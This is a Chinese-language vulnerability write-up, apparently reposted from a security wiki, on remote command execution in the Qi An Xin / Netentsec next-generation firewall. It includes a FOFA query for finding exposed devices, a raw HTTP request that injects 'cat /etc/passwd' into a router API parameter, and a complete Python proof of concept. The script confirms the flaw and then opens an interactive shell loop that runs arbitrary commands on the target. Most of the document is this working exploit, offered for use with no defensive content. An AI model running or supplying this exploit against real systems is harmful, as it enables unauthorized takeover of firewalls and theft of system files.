linda

漏洞描述奇安信 网康下一代防火墙存在远程命令执行，通过漏洞攻击者可以获取服务器权限
漏洞影响

Note

奇安信 网康下一代防火墙

FOFA

Note

app="网康科技-下一代防火墙"

漏洞复现登录页面如下

发送如下请求包
POST /directdata/direct/router HTTP/1.1Host: XXX.XXX.XXX.XXXConnection: closeContent-Length: 179Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0Content-Type: application/jsonUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}

再请求获取命令执行结果
http://xxx.xxx.xxx.xxxx/test_cmd.txt


漏洞POCimport requestsimport sysimport randomfrom requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():    print('+------------------------------------------')    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')    print('+  \033[34mVersion: 奇安信 网康下一代防火墙                                      \033[0m')    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')    print('+------------------------------------------')
def POC_1(target_url):    vuln_url = target_url + "/directdata/direct/router"    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",        "Content-Type": "application/json",    }    data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}'    try:        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)        response = requests.post(url=vuln_url, headers=headers, data=data,verify=False, timeout=5)        if response.status_code == 200 and "success" in response.text:            print("\033[32m[o] 目标{}可能存在漏洞, 正在执行命令 cat /etc/passwd \033[0m".format(target_url))            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)            response = requests.get(url=target_url + "/test_cmd.txt", headers=headers, data=data, verify=False, timeout=5)            if "root" in response.text and response.status_code == 200:                print("\033[32m[o] 响应为： {} \033[0m".format(response.text))                while True:                    cmd = input("\033[35mCmd >>> \033[0m")                    if cmd == "exit":                        sys.exit(0)                    else:                        POC_2(target_url, cmd)        else:            print("\033[31m[x] 目标不存在漏洞 \033[0m")            sys.exit(0)    except Exception as e:        print("\033[31m[x] 请求失败 \033[0m", e)
def POC_2(target_url, cmd):    vuln_url = target_url + "/directdata/direct/router"    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",        "Content-Type": "application/json",    }    data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;%s >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}' % (cmd)    try:        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)        response = requests.get(url=target_url + "/test_cmd.txt", headers=headers, data=data, verify=False, timeout=5)        print("\033[32m[o] 响应为： \n{} \033[0m".format(response.text))    except Exception as e:        print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':    title()    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))    POC_1(target_url)


原文: http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E5%A5%87%E5%AE%89%E4%BF%A1/%E5%A5%87%E5%AE%89%E4%BF%A1%20%E7%BD%91%E5%BA%B7%E4%B8%8B%E4%B8%80%E4%BB%A3%E9%98%B2%E7%81%AB%E5%A2%99%20RCE.html